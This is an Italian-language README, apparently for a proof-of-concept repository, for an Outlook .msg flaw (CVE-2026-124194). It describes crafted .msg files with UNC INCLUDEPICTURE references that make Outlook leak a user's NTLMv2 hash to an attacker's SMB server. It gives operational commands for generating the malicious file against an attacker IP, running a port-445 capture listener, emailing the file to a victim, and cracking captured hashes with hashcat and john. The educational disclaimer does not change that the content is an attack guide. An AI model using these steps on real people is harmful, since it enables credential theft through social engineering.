PoC ed exploit per CVE-2026-124194: genera file .msg di Outlook appositamente costruiti con riferimenti UNC INCLUDEPICTURE ed esegue un listener SMB per catturare hash NTLMv2 da sottoporre a cracking offline.
AVVISO LEGALE: Questo repository è stato creato esclusivamente per scopi educativi e di ricerca in sicurezza. L'uso di questi strumenti contro sistemi senza autorizzazione preventiva ed esplicita per iscritto è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo materiale.
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2026-124194 |
| Soprannome | Outlook-NTLMHash |
| Tipo | Divulgazione di hash NTLMv2 (CWE-356) |
| CVSS | 6.5 Medium (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) |
| Componente | Microsoft Outlook - elaborazione di file .msg |
| Vettori | La vittima apre un file .msg craftato con riferimento UNC |
| Autenticazione | Non richiesta (necessaria ingegneria sociale) |
| Interessa | MS 365 Apps for Enterprise, Office LTSC 2021/2024 |
| Corretto | Patch Microsoft novembre 2026 |
| Divulgato | Novembre 2026 (Exploitation Detected) |
All'apertura di un file .msg craftato contenente un campo RTF con
INCLUDEPICTURE che punta a un percorso UNC (\\server\share\img),
Outlook si connette automaticamente al server SMB dell'attaccante per caricare
la risorsa, senza mostrare l'avviso standard di contenuto esterno.
Il sistema Windows esegue implicitamente l'autenticazione NTLM quando tenta di accedere alla condivisione SMB, inviando l'hash NTLMv2 dell'utente in testo di challenge. L'attaccante cattura questo hash e può tentare di crackarlo offline con strumenti come hashcat o john.
Importante: il Riquadro di Anteprima (Preview Pane) NON è un vettore di attacco in questa vulnerabilità. La vittima deve aprire il file.
Attaccante Vittima
| |
|-- Invia poc.msg via email->|
| |
| [Apre il .msg in Outlook]
| |
| [Outlook carica RTF con INCLUDEPICTURE \\attacker\...]
| |
|<-- SMB Negotiate ----------|
|-- Challenge --------------->
|<-- Authenticate (NTLMv2) --+
| |
| [Cattura hash NTLMv2] |
# Genera poc.msg e avvia server SMB per la cattura
python poc.py --gen-msg --server 192.168.1.5
python poc.py --listen --port 445 --output hashes.txt
# Genera .msg e avvia il server automaticamente
# Richiede privilegi per la porta 445 (sudo/admin)
python exploit.py --server 192.168.1.5 --auto --hashcat --output hashes.txt
# Inviare poc_exploit.msg alla vittima via email
# Quando la aprirà l'hash sarà catturato in hashes.txt
# hashcat (modalità NetNTLMv2)
hashcat -m 5600 hashes.txt wordlist.txt
# john
john --wordlist=wordlist.txt hashes.txt
By Gh0st-Bx1 | https://github.com/Ghost-Bx1